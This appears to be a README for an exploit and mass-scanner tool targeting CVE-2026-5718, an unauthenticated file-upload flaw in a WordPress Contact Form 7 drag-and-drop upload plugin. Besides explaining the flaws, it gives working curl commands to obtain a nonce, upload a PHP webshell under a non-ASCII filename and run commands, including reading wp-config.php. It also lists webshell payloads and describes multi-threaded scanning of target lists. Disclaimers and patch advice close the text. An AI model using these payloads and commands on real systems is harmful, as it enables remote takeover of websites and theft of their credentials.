
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug:
drag-and-drop-multiple-file-upload-contact-form-7CVE ID: CVE-2026-5718 CVSS Score: 8.1 (High) CVSS Vector:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HVulnerability Type: Unauthenticated Arbitrary File Upload → Remote Code Execution Affected Versions: <= 1.3.9.6 Patched Version: 1.3.9.7 Release Date: April 17, 2026 Researcher: Leonid Semenenko (lsemenenko) — Wordfence
In the Drag and Drop Multiple File Upload for Contact Form 7 plugin, two independent logic flaws combine to allow unauthenticated attackers to upload a PHP webshell.
Blacklist Override: A custom blacklist configuration completely replaces the default
dangerous extension list instead of merging it.
php is no longer blocked.
Non-ASCII Bypass: The presence of non-ASCII characters in the filename
prevents wpcf7_antiscript_file_name() from being called.
The .php extension is preserved and the file is written to disk.
| Field | Value |
|---|---|
| Plugin Name | Drag and Drop Multiple File Upload for CF7 |
| CVE ID | CVE-2026-5718 |
| CVSS Score | 8.1 (High) |
| Vulnerability Type | Unauthenticated Arbitrary File Upload |
| Affected Version | <= 1.3.9.6 |
| Patched Version | 1.3.9.7 |
| Prerequisite | CF7 form with custom blacklist-types configuration |
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// Only protection: User-Agent 'curl' check — easily bypassed
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Invalid nonce → RETURNS NEW NONCE
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
The wp_ajax_nopriv__wpcf7_check_nonce action is publicly accessible.
When an invalid nonce is sent, a new nonce is given for free.
The curl check is bypassed using Mozilla UA.
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 dangerous extensions: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSIGNMENT (=) — NOT MERGE
// Custom list: only ['zip']
// 'php' is NOT in the list anymore → accepted
}
Triggering form tag configuration:
[mfile upload-file filetypes="*" blacklist-types:zip]
Admin wants to block ZIP → plugin overwrites entire default denylist.
All dangerous extensions including php are now accepted.
Additionally, the hardcoded list for filetypes="*" is also incomplete:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' MISSING
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Only called for pure-ASCII file names
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ would make shell.php → shell.php.txt — but bypassed
}
// If non-ASCII character present, this block IS SKIPPED
// $filename = "shellシ.php" → .php extension preserved
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Only local copy changes, outer $filename NOT AFFECTED
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Non-ASCII character → false → antiscript skipped
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (not curl) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce obtained for free │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce valid ✓ │
│ ├── blacklist=['zip'] → 'php' not blocked ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() BYPASSED ✓ │
│ └── move_uploaded_file("shellシ.php") → Written to disk│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → Unauthenticated RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only. Use only on systems you own or have explicit written authorization to test.
Prerequisites:
[mfile] field with blacklist-types:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
Expected response:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
Expected response:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# id command
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Read wp-config.php
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
requirements.txt
requests
python dnd_cf7_upload.py -u http://target.com
python dnd_cf7_upload.py -u http://target.com \
--form-id 1 --field-name upload-file
python dnd_cf7_upload.py -u http://target.com \
--shell-type full --verify-cmd "whoami"
python dnd_cf7_upload.py -l targets.txt -t 20 -o results.txt
python dnd_cf7_upload.py -u http://target.com \
--proxy http://127.0.0.1:8080
| Parameter | Short | Description | Default |
|---|---|---|---|
--url | -u | Single target URL | — |
--list | -l | Target list file | — |
--threads | -t | Number of threads | 10 |
--output | -o | Output file | rce_results.txt |
--form-id | — | CF7 form ID | auto-detect |
--field-name | — | mfile field name | upload-file |
--shell-name | — | Shell filename | shell |
--shell-type | — | Shell type | system |
--verify-cmd | — | RCE verification command | id |
--proxy | — | Proxy URL | — |
--timeout | — | Request timeout (sec) | 10 |
--force | — | Continue even if plugin detection fails | False |
| Type | Payload | Description |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Basic system command |
passthru | <?php passthru($_GET["cmd"]); ?> | Raw output |
exec | <?php echo exec($_GET["cmd"]); ?> | Silent execution |
assert | <?php assert($_POST["cmd"]); ?> | eval via POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 obfuscation |
full | shell_exec + system + exec fallback | Full-featured |
The scanner tries the following characters in order:
| Character | Unicode | Description |
|---|---|---|
シ | U+30B7 | Katakana Si (used in PoC) |
ж | U+0436 | Cyrillic |
ñ | U+00F1 | Latin Extended |
中 | U+4E2D | CJK |
α | U+03B1 | Greek |
ß | U+00DF | German |
WordPress Root/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── <session-uuid>/
└── shellシ.php ← Shell is here
⚠️ Note: The plugin cleans files after 1 hour by default. Shell is accessible during this time.
| Status | Description |
|---|---|
★ RCE OK | Shell uploaded + command executed |
★ SHELL ALIVE | Shell accessible, different response |
~ EXEC_DISABLED | Shell exists, exec() disabled |
~ HTACCESS | Shell uploaded but .htaccess block |
? UPLOADED | Uploaded but URL not found |
- UPL_FAIL | Upload failed (patched/no configuration) |
~ NO_NONCE | Nonce could not be obtained |
- NO_PLUGIN | Plugin not installed |
~ UNREACH | Target unreachable |
[*] Target : http://target.com
[*] Form ID : automatic detection
[*] Shell Type : system
[*] Verify CMD : id
[→] http://target.com Step 1/5: Getting nonce...
[→] http://target.com Step 2/5: Detecting CF7 form...
[→] http://target.com Step 3/5: Uploading shell (non-ASCII bypass)...
[→] http://target.com Step 4/5: Constructing shell URL...
[→] http://target.com Step 5/5: Verifying RCE...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://target.com
Version : 1.3.9.6
Nonce : abc123def4 (source: ajax_endpoint)
Non-ASCII : シ
Shell URL : http://target.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
RCE Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] Saved → rce_results.txt
| Measure | Implementation |
|---|---|
| Plugin Update | Upgrade to version 1.3.9.7+ |
| Blacklist Merge | Use array_merge() instead of = |
| Unconditional Antiscript | wpcf7_antiscript_file_name() must always be called |
| Nonce Protection | Nonce endpoint should be closed to public access |
| .htaccess | Block PHP execution in upload directory |
Secure blacklist merge:
// Insecure (current — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// Secure (recommended — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
Unconditional antiscript:
// Insecure (current)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// Secure (recommended)
$filename = wpcf7_antiscript_file_name( $filename ); // always call
Upload directory .htaccess:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # Main scanner
├── requirements.txt # Dependencies
└── README.md # This file
This tool and PoC are prepared for use only on authorized systems, for educational purposes, and within the scope of penetration testing. Use on unauthorized systems constitutes a crime under Turkish Penal Code Articles 243-245 and international cybercrime laws. The developer accepts no legal liability resulting from misuse of this tool.
MIT License — For educational and research purposes only.